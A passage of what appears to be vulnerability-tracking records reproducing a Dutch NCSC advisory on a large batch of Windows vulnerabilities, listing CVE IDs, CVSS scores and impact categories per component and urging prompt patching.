\n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-45656 | 7.80 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-8863  | 7.80 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows Hotpatch Monitoring Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42910 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Azure Attestation service and Device Health Attestation Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-33828 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-45642 | 3.90 | Voordoen als andere gebruiker       | \n|----------------|------|-------------------------------------|\n\nWindows RDP: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-45639 | 7.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-42908 | 7.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWinlogon: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42989 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Collaborative Translation Framework: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-45586 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Kerberos: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-47288 | 7.10 | Uitvoeren van willekeurige code     | \n| CVE-2026-42903 | 6.50 | Denial-of-Service                   | \n| CVE-2026-42914 | 5.30 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows Cryptographic Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-44810 | 8.40 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows NTFS: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-45636 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Universal Disk Format File System Driver (UDFS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-40409 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-40404 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Graphics Component: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42986 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Hyper-V: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-45607 | 8.40 | Uitvoeren van willekeurige code     | \n| CVE-2026-47652 | 8.20 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows NT OS Kernel: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42980 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-42916 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Common Log File System Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-44809 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Projected File System Filter Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42828 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-42837 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nUI Automation Manager (uiamanager.dll): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-45597 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows HTTP.sys: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-47291 | 9.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nMicrosoft Kinect: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-41092 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows SDK: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-45593 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Media: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-48574 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Performance Monitor: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42981 | 8.10 | Uitvoeren van willekeurige code     | \n| CVE-2026-42974 | 8.10 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Application Identity (AppID) Subsystem: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-45594 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-45604 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Administrator Protection: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42829 | 7.80 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nRole: Windows Hyper-V: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-45641 | 8.40 | Uitvoeren van willekeurige code     | \n| CVE-2026-42972 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Narrator Braille: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-48565 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DHCP Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-45634 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-45602 | 9.10 | Manipulatie van gegevens            | \n|----------------|------|-------------------------------------|\n\nWindows Internet (wininet.dll): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-45592 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Deployment Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42987 | 8.10 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nHTTP/2: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49160 | 7.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows Telephony Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42912 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-42968 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Network Controller (NC) Host Agent: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-44805 | 5.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows DWM Core Library: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-48566 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-45637 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-42905 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-44811 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-44808 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-44807 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-42983 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-44802 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-44814 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-44813 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-44804 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Boot Manager: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-47656 | 7.90 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows Program Compatibility Assistant Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-45487 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Storage: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-47648 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Shell: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42906 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-42907 | 6.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nActive Directory Domain Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-45648 | 8.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n```", "creation_timestamp": "2026-06-09T15:44:28.000000Z"}, {"uuid": "a6ee7dbf-5ef9-4c12-b870-af2e48719762", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48570", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0181", "content": "Microsoft heeft een groot aantal kwetsbaarheden verholpen in Windows. Een kwaadwillende kan de kwetsbaarheden misbruiken om aanvallen uit te voeren die kunnen leiden tot diverse categorie\u00ebn schade, zoals omschreven in onderstaande tabellen.\n\nTussen deze kwetsbaarheden zitten een zestal zeer ernstige, welke door Microsoft zijn ingeschaald met een CVSS score van 9 en hoger.\nDeze kwetsbaarheden bevinden zich in diverse componenten van Windows die bereikbaar en benaderbaar zijn vanaf netwerkverbindingen, zoals http.sys, DHCP, de Kernel en TCP/IP. Door de externe bereikbaarheid en de mogelijkheden tot uitvoer van willekeurige code, is het risico op grootschalig misbruik op korte termijn aanwezig. Op dit moment wordt (nog) geen actief misbruik waargenomen en is (nog) geen publieke Proof-of-Concept (PoC) of exploit bekend, maar het NCSC verwacht deze wel op korte termijn en adviseert daarom deze updates met spoed in te zetten.\n\n```\nWindows TCP/IP: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42904 | 9.60 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-42915 | 5.70 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows BitLocker: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-45655 | 5.30 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-45658 | 7.80 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-50507 | 6.80 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows Mark of the Web (MOTW): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-45595 | 5.40 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows Win32K - GRFX: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-44803 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-44812 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Push Notifications: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42969 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-42971 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-42970 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-42973 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-42978 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-42977 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-42979 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-42991 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows DNS: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-41108 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Bluetooth Port Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-45640 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Ancillary Function Driver for WinSock: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-34335 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-45601 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-45598 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-45596 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-45638 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-45603 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-42911 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nFunction Discovery Service (fdwsd.dll): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42836 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Kernel: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2025-10263 | 9.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-45657 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-48583 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-45653 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-42984 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Secure Boot: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-45588 | 7.90 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-48568 | 7.90 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-48570 | 7.90 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-48573 | 7.90 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-48575 | 7.90 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-48576 | 7.90 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-48578 | 7.90 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-45654 | 7.90 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nRemote Desktop Client: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-47289 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-47653 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-47654 | 7.50 | Uitvoeren van willekeurige code     | \n| CVE-2026-48563 | 7.50 | Uitvoeren van willekeurige code     | \n| CVE-2026-42909 | 7.50 | Uitvoeren van willekeurige code     | \n| CVE-2026-42913 | 7.50 | Uitvoeren van willekeurige code     | \n| CVE-2026-42992 | 7.50 | Uitvoeren van willekeurige code     | \n| CVE-2026-44799 | 7.50 | Uitvoeren van willekeurige code     | \n| CVE-2026-44801 | 7.50 | Uitvoeren van willekeurige code     | \n| CVE-2026-42985 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-42993 | 7.50 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nMicrosoft UxTheme Library (uxtheme.dll): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-45606 | 5.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows Kernel-Mode Drivers: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-45600 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DHCP Client: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-45608 | 6.80 | Toegang tot gevoelige gegevens      | \n| CVE-2026-44815 | 9.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nUniversal Plug and Play (upnp.dll): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-45599 | 8.10 | Uitvoeren van willekeurige code     | \n| CVE-2026-45635 | 8.10 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Bluetooth Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-45605 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows UEFI: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-45656 | 7.80 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-8863  | 7.80 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows Hotpatch Monitoring Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42910 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Azure Attestation service and Device Health Attestation Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-33828 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-45642 | 3.90 | Voordoen als andere gebruiker       | \n|----------------|------|-------------------------------------|\n\nWindows RDP: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-45639 | 7.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-42908 | 7.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWinlogon: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42989 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Collaborative Translation Framework: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-45586 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Kerberos: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-47288 | 7.10 | Uitvoeren van willekeurige code     | \n| CVE-2026-42903 | 6.50 | Denial-of-Service                   | \n| CVE-2026-42914 | 5.30 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows Cryptographic Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-44810 | 8.40 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows NTFS: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-45636 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Universal Disk Format File System Driver (UDFS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-40409 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-40404 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Graphics Component: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42986 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Hyper-V: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-45607 | 8.40 | Uitvoeren van willekeurige code     | \n| CVE-2026-47652 | 8.20 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows NT OS Kernel: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42980 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-42916 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Common Log File System Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-44809 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Projected File System Filter Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42828 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-42837 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nUI Automation Manager (uiamanager.dll): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-45597 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows HTTP.sys: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-47291 | 9.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nMicrosoft Kinect: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-41092 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows SDK: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-45593 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Media: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-48574 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Performance Monitor: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42981 | 8.10 | Uitvoeren van willekeurige code     | \n| CVE-2026-42974 | 8.10 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Application Identity (AppID) Subsystem: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-45594 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-45604 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Administrator Protection: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42829 | 7.80 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nRole: Windows Hyper-V: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-45641 | 8.40 | Uitvoeren van willekeurige code     | \n| CVE-2026-42972 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Narrator Braille: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-48565 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DHCP Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-45634 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-45602 | 9.10 | Manipulatie van gegevens            | \n|----------------|------|-------------------------------------|\n\nWindows Internet (wininet.dll): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-45592 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Deployment Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42987 | 8.10 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nHTTP/2: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49160 | 7.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows Telephony Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42912 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-42968 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Network Controller (NC) Host Agent: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-44805 | 5.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows DWM Core Library: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-48566 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-45637 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-42905 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-44811 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-44808 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-44807 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-42983 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-44802 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-44814 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-44813 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-44804 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Boot Manager: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-47656 | 7.90 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows Program Compatibility Assistant Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              